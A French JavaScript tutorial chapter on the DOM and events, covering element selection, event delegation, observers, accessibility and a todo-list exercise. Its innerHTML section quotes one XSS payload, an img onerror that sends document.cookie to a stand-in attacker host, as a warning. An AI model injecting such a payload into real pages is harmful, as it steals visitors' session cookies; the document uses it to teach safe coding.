iducationducation
IndexArticlesFormationsProfilOutilsBibliothech
N°014 — 2026
Navigation
01Index02Articles03Formations04Profil05Outils06Bibliothech
N°014 — 2026
iducationducation
IndexArticlesFormationsProfilOutilsBibliothech
N°014 — 2026
Navigation
01Index02Articles03Formations04Profil05Outils06Bibliothech
N°014 — 2026
Formations
JavaScript · Débutant

JavaScript

Apprendre JavaScript de zéro jusqu'au niveau expert : syntaxe moderne, DOM, asynchrone et event loop, modules, prototypes, métaprogrammation, performance et mémoire.

JavaScript ES2025Node.jsDOMVitestVite
01Introduction et environnement02Variables, types et coercition03Conditions et boucles04Fonctions, portée et closures05Objets, tableaux, Map et Set06Le DOM et les événements07Asynchrone : callbacks, promesses, async/await et event loop08Modules, npm, outillage et tests09Prototypes, classes et this10Itérateurs, générateurs, Symbol, Proxy et métaprogrammation11Niveau expert : moteur, performance, mémoire et architecture
Chapitre 6·45 min

Le DOM et les événements

Le DOM (Document Object Model) est la représentation en arbre d'objets d'une page HTML. JavaScript ne modifie jamais le HTML source : il modifie cet arbre, et le navigateur redessine la page en conséquence. Maîtriser le DOM sans framework reste indispensable, ne serait-ce que pour comprendre ce que React ou Vue font à votre place.

Sélectionner des éléments

const titre = document.querySelector('h1')              // premier élément correspondant
const cartes = document.querySelectorAll('.carte')      // NodeList statique
const form = document.getElementById('inscription')
 
for (const carte of cartes) {
  console.log(carte.dataset.id)   // lit l'attribut data-id
}
 
const bouton = form.querySelector('button[type="submit"]')   // recherche dans un sous-arbre
const section = bouton.closest('section')                    // remonte vers l'ancêtre

querySelector accepte n'importe quel sélecteur CSS. C'est la seule API de sélection dont vous avez besoin.

Lire et modifier

titre.textContent = 'Nouveau titre'          // texte brut, sûr
titre.classList.add('actif')
titre.classList.toggle('masque', estMasque)  // ajoute ou retire selon le booléen
titre.style.setProperty('--couleur', 'red')  // variable CSS
titre.setAttribute('aria-expanded', 'true')
titre.hidden = true

innerHTML et la faille XSS

// DANGEREUX si commentaire vient d'un utilisateur
div.innerHTML = `<p>${commentaire}</p>`

Si commentaire contient <img src=x onerror="fetch('https://pirate.io?c='+document.cookie)">, le code s'exécute chez chaque visiteur. Utilisez textContent pour tout contenu externe, ou construisez les nœuds explicitement. Les risques de ce type sont détaillés dans le guide cybersécurité pour développeurs.

Créer des éléments

function creerCarte({ titre, prix }) {
  const article = document.createElement('article')
  article.className = 'carte'
 
  const h3 = document.createElement('h3')
  h3.textContent = titre
 
  const p = document.createElement('p')
  p.textContent = `${prix} €`
 
  article.append(h3, p)
  return article
}
 
const liste = document.querySelector('#produits')
const fragment = document.createDocumentFragment()
for (const produit of produits) fragment.append(creerCarte(produit))
liste.replaceChildren(fragment)

Le DocumentFragment regroupe les insertions : un seul recalcul de mise en page au lieu d'un par produit.

Le <template> HTML est une alternative élégante pour les structures complexes :

<template id="tpl-carte">
  <article class="carte">
    <h3></h3>
    <p class="prix"></p>
  </article>
</template>
const tpl = document.querySelector('#tpl-carte')
const clone = tpl.content.cloneNode(true)
clone.querySelector('h3').textContent = 'Clavier'
clone.querySelector('.prix').textContent = '80 €'
liste.append(clone)

Événements

bouton.addEventListener('click', event => {
  console.log(event.target, event.clientX)
})

Options utiles :

el.addEventListener('scroll', handler, { passive: true })   // promet de ne pas appeler preventDefault
el.addEventListener('click', handler, { once: true })       // retiré après le premier appel
 
const controller = new AbortController()
el.addEventListener('mousemove', handler, { signal: controller.signal })
controller.abort()   // retire tous les écouteurs liés à ce signal

Propagation : capture, cible, bouillonnement

Un clic sur un <button> dans une <li> dans une <ul> déclenche l'événement sur les trois éléments. Il descend d'abord (capture), atteint la cible, puis remonte (bubbling).

ul.addEventListener('click', () => console.log('ul'))
li.addEventListener('click', () => console.log('li'))
button.addEventListener('click', e => {
  console.log('button')
  // e.stopPropagation() empêcherait la remontée
})
// Clic sur le bouton : button, li, ul

Délégation d'événements

Plutôt qu'un écouteur par élément, un seul sur le parent. Il fonctionne aussi pour les éléments ajoutés plus tard.

document.querySelector('#todo').addEventListener('click', e => {
  const bouton = e.target.closest('[data-action]')
  if (!bouton) return
  const id = bouton.closest('li').dataset.id
 
  if (bouton.dataset.action === 'supprimer') supprimer(id)
  if (bouton.dataset.action === 'terminer') terminer(id)
})

preventDefault

form.addEventListener('submit', async e => {
  e.preventDefault()                       // empêche le rechargement de la page
  const data = Object.fromEntries(new FormData(form))
  await fetch('/api/inscription', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(data),
  })
})

Événements personnalisés

panier.dispatchEvent(new CustomEvent('panier:maj', { detail: { total: 42 }, bubbles: true }))
document.addEventListener('panier:maj', e => afficherTotal(e.detail.total))

Observers

Les APIs d'observation remplacent avantageusement l'écoute du scroll ou du resize.

// Charger une image quand elle approche du viewport
const io = new IntersectionObserver(entries => {
  for (const entry of entries) {
    if (!entry.isIntersecting) continue
    entry.target.src = entry.target.dataset.src
    io.unobserve(entry.target)
  }
}, { rootMargin: '200px' })
 
document.querySelectorAll('img[data-src]').forEach(img => io.observe(img))

ResizeObserver surveille la taille d'un élément, MutationObserver les modifications du DOM.

Accessibilité

Un <div onclick> n'est ni focusable au clavier ni annoncé par un lecteur d'écran. Utilisez les éléments natifs (<button>, <a>, <details>, <dialog>) : le comportement clavier est offert. Le guide accessibilité web et WCAG couvre le reste.

const dialog = document.querySelector('dialog')
ouvrir.addEventListener('click', () => dialog.showModal())   // focus piégé, Échap géré

Exercice : une todo list sans framework

<form id="ajout"><input name="texte" required /><button>Ajouter</button></form>
<ul id="todo"></ul>
const todos = JSON.parse(localStorage.getItem('todos') ?? '[]')
const ul = document.querySelector('#todo')
 
function rendre() {
  ul.replaceChildren(...todos.map(t => {
    const li = document.createElement('li')
    li.dataset.id = t.id
    li.classList.toggle('fait', t.fait)
    const span = document.createElement('span')
    span.textContent = t.texte
    const ok = Object.assign(document.createElement('button'), { textContent: '✓' })
    ok.dataset.action = 'basculer'
    const del = Object.assign(document.createElement('button'), { textContent: '✕' })
    del.dataset.action = 'supprimer'
    li.append(span, ok, del)
    return li
  }))
  localStorage.setItem('todos', JSON.stringify(todos))
}
 
document.querySelector('#ajout').addEventListener('submit', e => {
  e.preventDefault()
  const input = e.target.elements.texte
  todos.push({ id: crypto.randomUUID(), texte: input.value, fait: false })
  input.value = ''
  rendre()
})
 
ul.addEventListener('click', e => {
  const action = e.target.dataset.action
  if (!action) return
  const i = todos.findIndex(t => t.id === e.target.closest('li').dataset.id)
  if (action === 'basculer') todos[i].fait = !todos[i].fait
  if (action === 'supprimer') todos.splice(i, 1)
  rendre()
})
 
rendre()

Vous venez d'écrire ce que fait un framework : un état, une fonction de rendu, des événements qui modifient l'état et relancent le rendu. La comparaison des frameworks qui automatisent ce cycle est dans React contre Vue.


Sélection avec querySelector, modification avec textContent, écoute par délégation : ces trois gestes suffisent à construire des interfaces interactives. Le reste, ce sont des optimisations et des bonnes pratiques d'accessibilité.

Précédent
Objets, tableaux, Map et Set
Suivant
Asynchrone : callbacks, promesses, async/await et event loop

Développeur fullstack passionné. J'apprends en construisant et je documente tout — front, back, outils. Le code s'apprend mieux en public.

Naviguer

IndexTous les articlesFormationsProfilOutilsBibliothech

Ailleurs

GitHub RSS

Newsletter

Les articles, libs et découvertes. Une fois par semaine, pas plus.

© 2026 William LoreeConçu & codé à la main